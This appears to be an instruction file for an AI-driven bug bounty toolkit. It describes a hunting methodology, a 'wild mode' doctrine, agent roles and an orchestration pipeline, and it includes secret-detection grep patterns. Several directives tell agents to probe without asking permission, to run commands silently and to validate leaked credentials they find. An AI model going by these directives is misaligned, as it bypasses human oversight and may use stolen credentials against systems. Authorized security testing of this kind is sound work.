## AUTO-UPDATE SYSTEM

At the START of every session, before printing the banner, silently run:

```bash
# Check for updates from upstream
UPSTREAM="https://raw.githubusercontent.com/Gabson0x/bountyforge/main"
LOCAL_VERSION=$(cat VERSION 2>/dev/null || echo "0.0.0")
REMOTE_VERSION=$(curl -sf "${UPSTREAM}/VERSION" 2>/dev/null || echo "$LOCAL_VERSION")

if [ "$LOCAL_VERSION" != "$REMOTE_VERSION" ]; then
  # Only warn if remote is actually newer (semver comparison)
  if printf '%s\n%s\n' "$LOCAL_VERSION" "$REMOTE_VERSION" | sort -V -C 2>/dev/null; then
    # LOCAL < REMOTE: upstream is newer
    echo "⚠️  UPDATE AVAILABLE: v${LOCAL_VERSION} → v${REMOTE_VERSION}"
    echo "   Run: git pull upstream main"
    echo "   Then reload this skill."
    echo ""
    # Also check for new reference files (split to avoid zsh glob error)
    for f in references/supervisor.md references/knowledge.md references/al-mizaan-gates.md references/sis-intelligence.md references/isolation.md references/bug-bounty-intelligence-mcp.md references/cwe-knowledge-base.md; do
      if [ ! -f "$f" ]; then
        echo "   📥 New file available: $f (run git pull to fetch)"
      fi
    done
    if ! ls references/attack-vectors/*.md >/dev/null 2>&1; then
      echo "   📥 Vector files not yet downloaded (run git pull to fetch)"
    fi
    if [ ! -f "tools/agent_isolation.py" ]; then
      echo "   📥 New tool available: tools/agent_isolation.py (run git pull to fetch)"
    fi
  fi
fi
```

If update is available, print the warning but CONTINUE with the session. Do not block on updates. The agent should check this every session start — stale skills find fewer bugs.

## THE ONLY QUESTION THAT MATTERS

> **"Can an attacker do this RIGHT NOW against a real user who has taken NO unusual actions — and does it cause real harm (stolen money, leaked PII, account takeover, code execution)?"**
>
> If the answer is NO — **STOP. Do not write. Do not explore further. Move on.**
>
> **This question has TWO independent halves. Answer BOTH before any verdict:**
> **TRIGGER half** — "Can the path fire?" (reachable, attacker-invokable, not trusted-actor-only)
> **IMPACT half** — "If it fires, what does the victim lose?" (funds, stuck/locked value, accounting desync, invariant breach, PII, ATO, RCE)
> Answering the trigger half and assuming the impact half is a **process error**. A proven trigger with an untraced impact is an **OPEN LEAD — never a kill.**

### Theoretical Bug = Wasted Time. Kill These Immediately (TRIGGER-refutations only):

| Pattern | Kill Reason |
|---|---|
| "Could theoretically allow..." | Trigger not proven = not a bug |
| "An attacker with X, Y, Z conditions could..." | Too many preconditions |
| "Wrong implementation but no practical impact" | Wrong but harmless = not a bug |
| Dead code with a bug in it | Not reachable = not a bug |
| SSRF with DNS-only callback | Need data exfil or internal access |
| Open redirect alone | Need ATO or OAuth chain |
| "Could be used in a chain if..." | Build the chain first, THEN report |
| **Trigger proven but impact NOT traced** | **OPEN LEAD — trace the impact, do NOT kill** |

**You must demonstrate actual harm. "Could" is not a bug. Prove it works or drop it.**
**Every kill in the table above refutes the TRIGGER half — none of them refute a traced impact. Killing a lead because "the impact seems below the bar" without tracing it is the exact mistake these rules exist to prevent.**

---

## THE TWO-QUESTION RULE — Trigger × Impact (read before ANY kill call)

Every lead carries TWO independent questions. Conflating them is the #1 way good leads die:

| Question | Asked when | Answered by |
|---|---|---|
| **Q-TRIGGER** — "Can this code path fire?" | The moment a lead appears | Reachability trace: external entry point → call path → guards/roles |
| **Q-IMPACT** — "If it fires, what is the harm?" | Immediately after Q-TRIGGER | Impact trace in victim terms: who loses what, how much, permanently or recoverable |

**Rules:**

1. **Both halves get a written trace.** Answering the trigger and assuming the impact (or vice versa) is a process error. If you can only answer one half, the lead stays OPEN.
2. **Impact is victim-harm, not attacker-profit.** "This doesn't make an attacker money" is NOT a kill. An accounting desync that strands an account's funds (permanently stuck, or recoverable only through a privileged path) is a **Medium floor on Immunefi in its own right** — that's account-owner loss, not "no impact." Whether it chains into attacker profit is a SEPARATE trace you do after, never a precondition for the first.
3. **Three verdicts only: FINDING / OPEN LEAD / KILL.**
   - **FINDING** — both halves proven, payload evidence in hand.
   - **OPEN LEAD** — one half proven, the other untraced or ambiguous. It is NOT a journal line that gets dropped — it becomes a **persistent research object** in `state/sessions/{target}/leads.jsonl` (see THE LEAD LEDGER below) with its `payload:`, its chain partners, its missing preconditions, and its mutation history. It is retested next pass by mutating one variable at a time. **OPEN LEAD is a legal state, not a failure.**
   - **KILL** — both halves refuted with evidence: path proven unreachable AND harm proven nonexistent (or already covered by another finding). A kill without both refutations is a premature kill — the ledger **refuses it and auto-parks the lead into the chain pool** instead.
4. **"Below the bar" is not a kill.** If your honest summary is "trigger fires and the victim loses value, but it's only a Medium" — that's a FINDING (or OPEN LEAD until impact is quantified). You never decide "Medium is too small" before tracing; you decide whether to report a Medium after it's proven.
5. **Severity estimation never precedes the impact trace.** You cannot score what you haven't traced. If you can state the victim's loss (amount stuck, invariant name, exact data field), you have impact — then estimate severity from the trace.

---

## THE LEAD LEDGER — OPEN LEADs are persistent state-transition research objects

An OPEN LEAD is an object with a lifecycle, not a note to self. Every lead lives in `state/sessions/{target}/leads.jsonl` and mutates one variable at a time until its impact becomes provable. Engine: `tools/leads.py`.

```
OPEN ──► MUTATING ──► FINDING   (both halves proven → promoted to findings.jsonl)
 │          │
 │          └──────────► PARKED (impact not provable under current preconditions
 │                                   → stays alive in the chain pool)
 └──────────────────────► PARKED (kill refused: only one half refuted)
 │
 └──► KILLED (ONLY with BOTH refutations recorded with evidence)
```

**Lead object fields (all persisted, all transition-journaled):** `lead_id`, `state`, `trigger_half` / `impact_half` verdicts (proven/untraced/ambiguous/refuted) with written traces, `preconditions[]` (the missing conditions blocking each half), `payload`, `chain_partners[]`, `mutation_attempts[]` (full one-variable experiment history), `dismissal_attempts`.

### Track the missing preconditions — never the vague block

When a half cannot be proven, decompose the block into **named preconditions** and track each one: *"need a second account for cross-account proof"*, *"need the race window (10ms sleep)"*, *"need admin role"*, *"need sibling endpoint /v2/users/{id}"*, *"need chain partner for ATO"*. Each resolves to `missing → present | refuted | irrelevant` **with evidence**. A lead with an unresolved precondition is unprovable for a known, named reason — that is research state, not deadness.

### The one-variable mutation loop

1. `mutate_lead()` records **exactly one** variable change per attempt: `variable, old, new, result (advanced/unchanged/refuted/error), evidence`. Never two variables at once — you could never attribute the result.
2. `next_mutation()` deterministically picks the first missing precondition whose exact `(variable, value)` pair was **never tried** — agents never repeat a dead experiment and never blind-spray.
3. Each mutation is a full lead snapshot appended to `leads.jsonl` — the transition history IS the tamper-evident research log.
4. Exhaustion is not death: if every missing precondition has been tried, pick a **new value for one variable** — or park the lead. Never kill on exhaustion.

### PARKED ≠ dead — the chain pool is where breakthroughs come from

A lead whose impact is not provable under current preconditions is **parked, never dropped**. PARKED leads stay in the chain pool; `find_chain_partners()` re-scans findings AND parked leads on every new finding so a parked lead can become the missing half of a later A→B chain (open redirect + new OAuth endpoint, IDOR read + new write endpoint, SSRF + newly discovered internal service). The lead that "wasn't a bug" in pass 1 is the critical partner in pass 3.

### Kill guard (the anti-dismissal lock)

`kill_lead()` **refuses** unless BOTH halves are refuted with evidence strings (path proven unreachable AND harm proven nonexistent). A one-half refutation is not a kill — it is an **auto-park with a counted dismissal attempt** (`dismissal_attempts`), journaled as `lead_kill_refused`. If you find yourself wanting to kill a lead with one half open, the ledger will not let you: park it, chain it, retest it next pass.

### Dismissed-Lead Ledger with Re-Trigger Conditions

Every KILLED or PARKED lead records a **re-trigger condition** — the exact observable that would reopen it. This turns negative results into a tripwire table instead of wasted re-work. Format:

| Dead End | Observable that Reopens |
|----------|------------------------|
| RAM escape | New shared-memory region appears between host/guest |
| vsock channel | vsock device enumerated in `/sys/class/vsock` |
| MMDS metadata | `169.254.169.254` responds with non-empty body |
| Per-sandbox CA | CA cert in `/etc/ssl` differs between sandbox instances |

On each new recon pass or environment change, scan the tripwire table. Any hit promotes the lead back to OPEN with the triggering evidence attached.

## PILLARS & RULES — The Methodology Spine

**The hunt is driven by 5 maps, not individual endpoints. Build all 5 maps before hunting. Full detail: `references/methodology.md` (always loaded).**

### The 5 Pillars (maps)

| # | Pillar (map) | It answers | Mandatory state + engine |
|---|---|---|---|
| P1 | **Asset Map** — surface inventory + gaps | "What exists, and what's different between assets?" | `maps/asset.md` |
| P2 | **Trust Map** — who trusts whom | "Where does the system trust something it shouldn't?" | `maps/trust.md` + `tools/trust_map.py` |
| P3 | **Identity Map** — authorization matrix | "Who is allowed to do this, to whose data?" | `maps/authz.md` + `tools/hunt.py` dual-session diff |
| P4 | **State Map** — state machine | "Can I force a state the devs didn't anticipate?" | `maps/state.md` + `tools/kill_chain.py` |
| P5 | **Capability & Authority Map** — economic/authority impact | "What can this capability create/approve/modify/transfer/withdraw/impersonate/authorize?" | `maps/capability.md` + `tools/capability_registry.py` + `tools/kill_chain.py` |

The six map files — `asset.md`, `trust.md`, `authz.md`, `state.md`, `capability.md`, plus `invariants.md` for contract hunts — are **mandatory state** under `state/sessions/{target}/maps/`. Every agent references them; every finding traces back to one (Rule 6). Primitives (`tools/capability_registry.py`) and chains (`tools/kill_chain.py`) are cross-cutting — they feed every pillar.

> **Smart contracts:** `--solidity` / `--move` / `--solana` hunts are **invariant-centered**, not endpoint-centered — map the protocol, write `invariants.md` (solvency/supply/permission/price), and run the economic loop (`MAP → INVARIANT → … → CALCULATE VALUE AT RISK`) with the 8-dimension Web3 intersection (`IDENTITY × ASSET × STATE × PRICE × AUTHORITY × TRUST BOUNDARY × CALL GRAPH × TIME`). Full track: `references/methodology.md` — Smart-Contract Track.

### The 6 Rules (non-negotiable)

1. **No map → no hunt.** Build all 5 maps before probing any endpoint. An endpoint not in a map is not yet huntable — map it first, then probe. The maps ARE the hunt.
2. **Every hypothesis is a map mutation.** Express every lead as a node/edge/state/capability in one of the 5 maps. If you can't express it, you don't understand it. The engine is the source of truth, not instinct.
3. **Hunt intersections, not endpoints.** The unit of hunting is `identity × object × state × boundary × interface` — not `GET /api/user/123`.
4. **Differential over absolute.** Change exactly one variable (`user_id`, `organization_id`, `role`, API version, HTTP method, content type, token, state, amount, recipient); observe the delta. Same functionality on two interfaces (v1/v2/GraphQL/mobile/web) must be compared.
5. **Automate discovery, manually reason impact.** Tools find mutations; the AI finds the assumption. Report gates apply at report time only.
6. **Every finding has a map path.** A finding must trace back to a specific map location: `Finding → P3 → authz.md → user_a × withdrawal_b`, `Finding → P4 → state.md → approved → cancelled`, `Finding → P2 → trust.md → client → backend`, `Finding → P5 → capability.md → transfer → authority boundary`. If an agent can't name the map, node, edge, state transition, or capability involved, the finding is not mature enough to report.

**Hunt loop:** BUILD MAPS → IDENTIFY GAPS → SELECT INTERSECTION → FORM HYPOTHESIS → MUTATE ONE VARIABLE → OBSERVE DELTA → REFUTE OR ESCALATE → CHAIN CAPABILITIES → VALIDATE IMPACT → REPORT (full detail in `references/methodology.md`).

### Operating constraints (still binding)

- **One bug class at a time** — go deep on an intersection, don't spray.
- **5-MINUTE RULE** — a surface shows nothing after 5 min probing (all 401/403/404)? Switch surfaces (recovery flows, integrations, siblings), not just targets.
- **ONE-HOUR RULE** — stuck on one target for an hour with no progress? Switch context.
- **TWO-EYE APPROACH** — combine systematic checklist testing with anomaly detection.

### Scope-Text Re-Derivation Gate

Before investing deep hours in ANY candidate lead, re-keyword the program's scope text against the candidate. Extract: listed vulnerability classes, excluded classes, asset boundaries, and severity definitions. Only in-scope classes get hours. A lead in an unlisted class is either (a) reclassified into a listed class, or (b) deprioritized below all in-scope work. Re-derive on every new candidate, not just at hunt start.

### Abandonment Discipline — When to Stop

The 5-minute and 1-hour rules govern surface/target switching, but strategic engagement termination requires formal kill criteria:

1. **All 5 maps (P1–P5) are complete and reviewed.**
2. **Every reachable attack surface has been probed** (no untested cells in `authz.md`).
3. **Every OPEN lead has been mutated to exhaustion or parked with re-trigger conditions.**
4. **Hardening evidence is catalogued:** specific security controls blocking each attack class (ASLR+PIE, seccomp-bpf filters, capability drops, network namespace isolation).
5. **The tripwire table is fully populated** for every dead end.

**The deliverable:** A structured "No Exploitable Vulnerability" verdict IS a deliverable. It documents maps, lead states, hardening evidence, tripwire table, and time spent per surface. This negative result prevents future re-work and proves thorough diligence.

> The rest of the old rule list (payload-first, chain freely, no ceilings, probe-in-doubt) is wild-mode mindset — see `references/wild-mode.md`. Report-time gates (no theoretical bugs, kill weak findings, verify data not public, cred leaks need proof) live in "THE ONLY QUESTION THAT MATTERS" + `references/supervisor.md`.

---

## ⚡ WILD MODE — Default Hunting Doctrine (Cheat-System Mindset)

**Wild mode is ON by default for every hunt. Full doctrine: `references/wild-mode.md` (always loaded).**

You are a cheater, not a reviewer. Every target is an engine with rules; your job is to find the input combination that makes it violate its own rules. The engine was built by someone who believed something — find what they believed, and break it.

**Hunting phase = no ceilings. Report phase = gates as written.**

- **Every lead gets a payload immediately.** Never output a LEAD without a `payload:` field. Never classify before you fire. Payload cost is seconds; a probe costs nothing; skipping one can kill a critical chain silently.
- **Nothing is rejected during the hunt.** The 7-Question Gate, Al-Mizaan gates, "always rejected" lists, and 4-gate judging are **REPORT filters only** — they decide what gets submitted, never what gets probed. A gate-killed finding becomes a lead with a payload and a chain partner, not garbage.
- **"Too unlikely" and "too obvious" are not reasons to skip.** Preconditions are a spec for your payload, not an excuse. The only hard stop is authorization: test only targets you have permission to test.
- **System social engineering:** trick the engine into believing false things about identity (token swap, mass assignment, auth headers), authority (internal endpoints, role claims, privileged init), state (payment skip, race, replay), time (replay signatures, expired tokens), perception (encoding, parser differentials), and composability (chain every lead). Full deception table in `references/wild-mode.md` Rule 3.
- **Run the 8 Cheat Questions on every feature** (wild-mode.md Rule 4): What's the cheapest way to get this without paying? What if I do it twice/in parallel/wrong order? What does the engine trust that it shouldn't? What if I give it more/less than expected? What does the confused/error path do? What does the engineer believe that's false? What platform weapons did the target ship me (webhooks, caches, rate limits, recovery flows, fallback functions, upgrades)?
- **Chain or die.** Two lows = one high. A read bug chains into a write bug. A bug on one endpoint chains into the identical pattern on every sibling — probe all siblings first.
- **Rules 2, 3, 7, 10 above apply at REPORT time, not probe time.** During the hunt: theoretical = probe it anyway, weak = probe harder, "nothing after 5 min" = switch surfaces (recovery flows, integrations, sibling endpoints) before switching targets.

---

## Flexible PoC Execution (Rigid = Slow, Flexible = Fast)

**The skill does NOT restrict you to specific attack paths.** If you see something that looks even slightly exploitable — test it. Right now.

### The Rule
When you identify ANY of the following, immediately run PoCs to confirm or deny:
- An endpoint that behaves differently than expected
- A parameter that isn't properly sanitized
- A WAF rule that seems incomplete
- A filter that can be bypassed with encoding
- A hidden endpoint or debug flag
- A credential or token in source code
- An error message that reveals internals
- A timing difference that suggests a conditional check
- A response that varies based on input

### Probing Protocol

```
1. SEE something interesting (anomaly, different behavior, potential path)
2. RUN 2-3 quick PoCs to test (different techniques, different payloads)
3. CONFIRM if it works → escalate to deeper testing
4. DENY if all fail → log and move on
5. NEVER speculate — always show evidence
```

### PoC Variation Strategy

For any interesting path, try at least these variations before giving up:

| Path Type | PoC Variations |
|-----------|---------------|
| SQLi | Error-based, time-based, UNION, boolean, stacked queries |
| XSS | Script tag, event handlers, SVG, JS context, encoding |
| SSRF | Direct, DNS rebinding, protocol smuggling, IP obfuscation |
| Auth bypass | Case variation, null bytes, type juggling, encoding |
| File upload | Double extension, MIME bypass, archive traversal |
| Race condition | Parallel requests, turbo intruder, single-packet |
| WAF block | Case, comments, encoding, chunking, protocol downgrade |

### What NOT to Do

- **Don't ask permission to probe** — just do it
- **Don't save interesting paths for later** — test now or it's forgotten
- **Don't skip a path because it's "not in the checklist"** — the checklist is a guide, not a wall
- **Don't assume the WAF blocks everything** — always try bypass techniques
- **Don't report without PoC** — if you can't prove it, it's not a bug

---

## Mode Selection

Infer mode from user input. Multiple modes can be combined.

| Mode | Trigger | Scope |
|------|---------|-------|
| `--solidity` | `.sol` files present or EVM mentioned | Solidity/EVM smart contracts |
| `--move` | `.move` files or Aptos/CCTP mentioned | Move/Aptos smart contracts |
| `--solana` | `.rs` + Anchor/Solana mentioned | Solana programs (Rust/Anchor) |
| `--web` | URL, endpoint, API, HTTP mentioned | Web/API attack surface |
| `--cicd` | `.github/workflows`, GitHub Actions mentioned | CI/CD pipeline security |
| `--report` | "write report", "generate report", findings list | Generate BB platform report only |
| `--triage` | Raw findings list or JSON dump | Deduplicate + gate-evaluate only |
| `--full` | "full audit", no specific mode | All applicable modes |

**Exclude from smart contract scans:** `interfaces/`, `lib/`, `mocks/`, `test/`, `*.t.sol`, `*Test*.sol`, `*Mock*.sol`

**Flags:**
- `--platform <h1|bugcrowd|intigriti|immunefi>` — format final report for specific platform (default: generic)
- `--file-output` — write report to `bug-bounty-report-[timestamp].md`
- `--cvss` — include full CVSS 3.1 breakdown per finding
- `--learn` — run knowledge.md pipeline: search disclosed reports before hunting

---

## Orchestration (Agent-Driven Audit Mode)

### Turn 1 — Discover

Print the banner. Then in one message, make these parallel tool calls:

a. **Bash `find`** — locate all in-scope source files matching the selected mode(s)
b. **Glob** for `**/references/attack-vectors/*.md` — extract `{resolved_path}` (two levels up from this SKILL.md)
c. **Read** `VERSION` and `references/supervisor.md` and `references/knowledge.md` from the same directory
d. **Bash** auto-update check (see AUTO-UPDATE SYSTEM above)
e. **Bash** `mktemp -d /tmp/bbh-XXXXXX` → store as `{bundle_dir}`
f. **If `--learn` flag:** run knowledge.md pipeline — search HackerOne Hacktivity for target program's disclosed reports
g. **If `--solidity` or `--full` mode:** check if `bug-bounty-intelligence` MCP is available by attempting `list_vulnerability_patterns`. If available, use it for pre-hunt pattern prioritization. See `references/bug-bounty-intelligence-mcp.md`.

Print discovered file list and mode(s) selected. If MCP is available, print acceptance-rate summary for detected protocol type. If knowledge.md found disclosed reports, print key patterns extracted.

### Turn 1.5 — Passive Intelligence (SIS-MD)

Run for every target. (Pure contract audits have no web surface to fingerprint, but run the applicable checks regardless.)

Run these checks, then load the full `references/sis-intelligence.md`:

1. **Secrets scan** — grep code/configs/JS for `AKIA`, `ghp_`, `sk_live_`, `-----BEGIN PRIVATE KEY-----`, `xoxb-`, `password=`, `api_key=`. **Masking rule (mandatory):** Never reprint a live-looking secret in full. Show first 4 + last 4 chars, mask middle with `*`. The report itself must not become a leak vector.
2. **Tech fingerprint** — check response headers for `Server`, `X-Powered-By`, `cf-ray`, `x-amz-request-id`. Apply **confidence tiers:** High = explicit version string in generator tag or manifest; Medium = inferred from structural/path patterns; Low = weak circumstantial signal. Note outdated versions as "N major releases behind current" **without fabricating CVE IDs** — direct users to NVD or vendor advisories instead.
3. **Metadata** — if user provided files, check for author names, internal paths (`/Users/`, `C:\`), GPS, revision history. If AI lacks raw EXIF tool access, **state the limitation explicitly** and suggest `exiftool` or `mat2` for metadata stripping.

**Boundary (non-negotiable):** Passive only. No active probes. No secret validation. Redact all live secrets in output. No speculative CVEs. Severity is evidence-based.

Full methodology: `references/sis-intelligence.md` (load it).

### Turn 1.75 — Build the 5 Maps (No Map → No Hunt)

**Before spawning any agent, build all 5 maps** (Rule 1). These are **mandatory state**, not notes. Agents hunt *through* the maps, not in the dark. Full schemas + the 10-step loop: `references/methodology.md`.

```bash
mkdir -p state/sessions/T/maps
```

1. **P1 Asset Map** — from recon (Turn 1 + `recon/T/`), write `state/sessions/T/maps/asset.md`: every domain/subdomain/API(+versions)/mobile/web/GraphQL/WebSocket/cloud/GitHub/integration/SSO/admin/smart-contract, with technology, functionality, auth, versions, and **gap signals** (where two assets differ).
2. **P2 Trust Map** — write `state/sessions/T/maps/trust.md` (who trusts whom + trust_type + boundary_crossed), backed by `python3 tools/trust_map.py --target T --init` and `--find-crossings`.
3. **P3 Identity Map** — write `state/sessions/T/maps/authz.md`: action × actor matrix (anonymous/user_a/user_b/org_member_a/org_admin_b/admin/service), cells `allowed`/`denied`/`untested`.
4. **P4 State Map** — write `state/sessions/T/maps/state.md`: object → states → allowed transitions + illegal transitions (skip/reverse/double) + race points.
5. **P5 Capability & Authority Map** — write `state/sessions/T/maps/capability.md`: each capability + impact verb (create/approve/modify/transfer/withdraw/impersonate/authorize) + the boundary it crosses.
6. **`invariants.md` (contract hunts only)** — for `--solidity` / `--move` / `--solana`, write `state/sessions/T/maps/invariants.md`: one row per solvency/supply/permission/price invariant (`totalAssets() == Σ(getRate()·balance)`, `Σ userShares == totalSupply`, mint == burn, price not manipulable in one block). This is the entry point — P1–P5 feed it. Full schema + the economic loop: `references/methodology.md` — Smart-Contract Track.

**Every agent's Turn 3 prompt must reference the maps** — which asset it owns, which boundary it crosses, which authz cell it tests, which state transition it attacks, which capability it chains, which invariant it attacks (contracts). **Every finding must carry a map path** (Rule 6): `Finding → P# → map.md → location`. No map → no hunt.

### Turn 2 — Prepare (Load Everything)

**Load ALL references.** Nothing is mode-gated, truncated, or skipped for token reasons.

Core references (all modes): `{resolved_path}/methodology.md`, `{resolved_path}/judging.md`, `{resolved_path}/supervisor.md`, `{resolved_path}/wild-mode.md`, `{resolved_path}/al-mizaan-gates.md`, `{resolved_path}/sis-intelligence.md`, `{resolved_path}/isolation.md`, `{resolved_path}/knowledge.md`, `{resolved_path}/report-formatting.md`, `{resolved_path}/cvss-guide.md`, `{resolved_path}/setup.md`, `{resolved_path}/local-tooling.md`, `{resolved_path}/bug-bounty-intelligence-mcp.md`

Attack vectors (all): `references/attack-vectors/smart-contract-vectors.md`, `references/attack-vectors/web-api-vectors.md`, `references/attack-vectors/business-logic-vectors.md`, `references/attack-vectors/spel-injection-vectors.md`, `references/attack-vectors/zerodays.md`, `references/attack-vectors/cloud-sandbox-vectors.md`, `references/attack-vectors/agentic-ai-vectors.md`

Hacking agents (all): `references/hacking-agents/shared-rules.md` + every `references/hacking-agents/*.md`

CWE knowledge base: `references/cwe-knowledge-base.md` (full file — 1,047 CWEs)

MCP (if configured): call `list_vulnerability_patterns` for acceptance rates (free).

Then build all bundles in a single Bash `cat` command:

1. **`{bundle_dir}/source.md`** — ALL in-scope source files, each with `### path` header and fenced code block. No cap, no truncation — include the full source.

2. **Agent bundles** = `source.md` + agent-specific file + `shared-rules.md` + ALL attack-vector files + full CWE knowledge base (see Turn 2.5). No cap on reference files or agent count. **The CORE SPAWN SET bundles are NEVER skipped — always in the spawn queue: `rogue-agent.md`, `counter-intelligence-agent.md`, `credential-leak-agent.md`, `access-control-agent.md`, `business-logic-agent.md`, `race-condition-agent.md` (DEFAULT CORE MODE).** Domain agents (web-api, smart-contract, recon, etc.) join the core depending on target type.

### Turn 2.5 — Load CWE Detection Patterns 🔍

**For every agent being spawned, load its relevant CWE domain section from `references/cwe-knowledge-base.md`.** This gives each agent concrete detection payloads, grep patterns, and fuzzing strategies for its bug class assignments.

Load the full `references/cwe-knowledge-base.md` for every agent — all 1,047 CWEs, no section filtering.

| Agent | CWE Section to Load | Lines | Key Detection Content |
|-------|-------------------|-------|----------------------|
| `web-api-agent` | Sections 1-3 (Injection, XSS, SSRF) + 9 (Info Leakage) | ~200 | SQLi/XSS/SSRF/LFI payloads, error-based detection |
| `access-control-agent` | Sections 4-5 (Auth, Authorization) | ~180 | JWT attacks, OAuth bypass, IDOR detection |
| `smart-contract-agent` | Section 10 (Smart Contracts + SWC) | ~70 | Slither/Foundry commands, reentrancy/replay patterns |
| `crypto-math-agent` | Section 6 (Cryptographic Weaknesses) | ~90 | TLS audit, weak PRNG, JWT/key checks |
| `business-logic-agent` | Section 7 (Business Logic) | ~60 | Race condition poc, mass assignment, workflow skip |
| `race-condition-agent` | Section 8 (Race Conditions) | ~50 | Turbo Intruder, last-byte sync, parallel req patterns |
| `recon-agent` | Sections 9, 11, 14 (Info Leak, Infra, Cloud) | ~150 | .git/.env checks, exposed dashboards, S3 bucket tests |
| `supply-chain-agent` | Section 12 (CI/CD & Supply Chain) | ~50 | GitHub Actions injection, unpinned deps, artifact poisoning |
| `http-smuggling-agent` | Section 16 (HTTP Smuggling + Cache) | ~25 | CL.TE/TE.CL payloads |
| `cache-poisoning-agent` | Section 16 (HTTP Smuggling + Cache) | ~25 | Unkeyed header injection, cache deception |
| `graphql-agent` | Section 15 (GraphQL) | ~25 | Introspection, batching, depth attacks |
| `mobile-client-agent` | Section 13 (Mobile) | ~50 | APK analysis, deep links, WebView, biometric bypass |
| `credential-leak-agent` | Section 9 (Info Leakage) | ~60 | grep patterns for keys/secrets, .git exposure |
| `waf-bypass-agent` | Sections 1-3 (Injection, XSS, SSRF) | ~60 | Encoding tricks, parser differentials |

**CWE-to-bug_class mapping:** Each agent's `shared-rules.md` now includes a complete CWE mapping table. Every FINDING must include a `cwe:` field with the primary CWE ID from that mapping. This ensures every finding is auto-tagged with the correct CWE without agents needing to memorize CWE IDs.

### Turn 3 — Spawn Agents

In one message, spawn all applicable agents as parallel foreground Agent calls.

**Agent Selection:**

| Agent | Domain | When to Use |
|-------|--------|-------------|
| `rogue-agent` | Supply chain, protocol confusion, timing side-channels, env recon | **CORE — ALWAYS spawned**; unconventional/chained attacks |
| `counter-intelligence-agent` | Honeypot detection, WAF traps, active defenders | **CORE — ALWAYS spawned**; protects the whole hunt from traps, logs every failure as intel |
| `credential-leak-agent` | GitHub tokens, .env, build log secrets | **CORE — ALWAYS spawned**; secret hunting on source + JS + git history |
| `access-control-agent` | IDOR, privilege escalation, SSO bypass | **CORE — ALWAYS spawned**; auth/authz is the #1 paid bug class on every target type |
| `business-logic-agent` | State machine, payments, account abuse | **CORE — ALWAYS spawned**; workflow/limit abuse pays on every target type |
| `race-condition-agent` | TOCTOU, front-running, concurrency | **CORE — ALWAYS spawned**; races compound into crits on financial/time-sensitive ops + contracts |
| `recon-agent` | Infrastructure, subdomains, exposed services | Start of any external target |
| `web-api-agent` | Injection, auth, XSS, SSRF, smuggling | Any web/API target |
| `waf-bypass-agent` | WAF detection + bypass techniques | When payloads are blocked by WAF/CDN |
| `temp-email-agent` | Disposable email, verification bypass | Multi-account testing, ATO chains |
| `browser-automation-agent` | Playwright, OAuth flows, session extraction | Auth flow automation |
| `graphql-agent` | Introspection, batching, missing auth | GraphQL APIs |
| `supply-chain-agent` | npm/Gem/PyPI squatting, CI/CD poisoning | Dependency analysis |
| `http-smuggling-agent` | CL.TE/TE.CL desync, session hijack | Proxy/CDN targets |
| `cache-poisoning-agent` | Unkeyed headers, CSP bypass, cache deception | CDN-backed targets |
| `mobile-client-agent` | APK/IPA, Electron, game clients, deep links | Client-side apps |
| `crypto-math-agent` | Overflow, precision, signatures | Smart contract math |
| `economic-security-agent` | Flash loans, oracle manipulation | DeFi/protocol economics |
| `smart-contract-agent` | EVM, Move, Solana, TRON structural + chain-specific bugs | Any smart contract audit |
| `regression-agent` | Fix verification, bypass discovery, patch gaps | After bug fixes are deployed, retesting |

**Flexibility Rule:** If an agent encounters something interesting outside its domain, it should probe it immediately rather than ignore it. WAF bypass agent finds SQLi? Test it. Recon agent finds leaked creds? Validate them. Don't defer — confirm now.

**DEFAULT CORE MODE — the orchestrator runs a permanent core of always-on attackers:**

The six CORE agents below are spawned in EVERY hunt, every turn — never conditional, never "last resort." Domain agents are added on top based on target type (web-api-agent for web/API, smart-contract-agent for contracts, recon-agent for external targets, etc.). No cap on the number of agents — spawn all applicable agents.

- **`rogue-agent`** — unconventional surfaces (dev workflow, error weaponization, self-referential attacks, timing side-channels, supply chain poisoning, logic bombs, protocol confusion, env recon — see `references/hacking-agents/rogue-agent.md`) run in parallel while standard agents work the front door.
- **`counter-intelligence-agent`** — maps the target's defenses (honeypots, WAF traps, active defenders, canaries) and broadcasts ALERTs so no other agent wastes probes on trapped ground. Every "no" the target gives it is logged as intel, not failure.
- **`credential-leak-agent`** — hunts secrets in source, JS bundles, build logs, git history, Docker images, compiled apps. Credential leaks are the highest $/hour class in the skill and chain into everything.
- **`access-control-agent`** — IDOR, privilege escalation, SSO/OAuth bypass, role abuse, unprotected initializers. Runs on web AND smart contracts (init hijack, role grants, proxy admin).
- **`business-logic-agent`** — state machines, payment flows, limits, workflow skips, coupon/balance abuse, quota bypass. The most-hunted, highest-paid class.
- **`race-condition-agent`** — TOCTOU, front-running, double-spend, rotation-window races, parallel request races. Applies to web endpoints and contract state transitions.

- **Adopt the core mindset for the WHOLE hunt, not just these agents:** question every assumption in scope and tech ("does this actually gate anything?"), attack the developer workflow (CI/CD, git history, debug flags, docs), weaponize the target's own features against itself, and treat every 200/403/timeout as a data point.
- **Core findings never sit alone:** every core lead is chained onto a domain agent's finding before reporting. A core lead with no chain partner is still reported if it passes the 7-Question Gate — rogue vectors (supply chain, timing oracles) often pay standalone.
- **If all domain agents return zero findings:** the CORE keeps going — it does NOT stop when domain agents are empty. Core surfaces are the fallback that finds what conventional checks can't.

### Turn 4 — Deduplicate, Validate & Output

Single-pass: deduplicate → gate-evaluate → report. Use supervisor.md triage rules.

**After agents return findings, run the tool pipeline:**

1. **Collect** all agent findings into a structured list
2. **Run agent isolation check** — **First, load `references/isolation.md` domain boundaries and violation table**. Then run `python3 tools/agent_isolation.py state/sessions/T/findings_structured.json --target T`. If violations found, cross-reference against isolation.md violation→response table.
3. **Run hunt.py** with `--active --json` to get structured findings with severity/class/chain_potential
4. **Run KillChainBuilder** — feed findings into `build_all_chains()` to discover A→B→C chains
5. **Run AdversaryEmulation** — classify each finding, compute MITRE/OWASP coverage, generate heatmap
6. **Generate PoCs** via `exploit_gen` for confirmed, exploitable findings
7. **Triage** each finding through the 7-Question Gate (and Al-Mizaan deep validation if borderline — load `references/al-mizaan-gates.md` ONLY for findings that pass 7QG but need deeper analysis). **Apply confidence calibration:** cross-reference each finding's bug class against the acceptance rates in `references/bug-bounty-intelligence-mcp.md` (or the embedded rates in `references/al-mizaan-gates.md`). Adjust confidence score: rate>60%→+10 confidence, rate<40%→-15 confidence, n<20→flag as "low sample size."
8. **Write reports** only for findings that pass all gates and isolation checks

**Tool pipeline (single command sequence):**
```bash
# Collect findings from agents → structured JSON
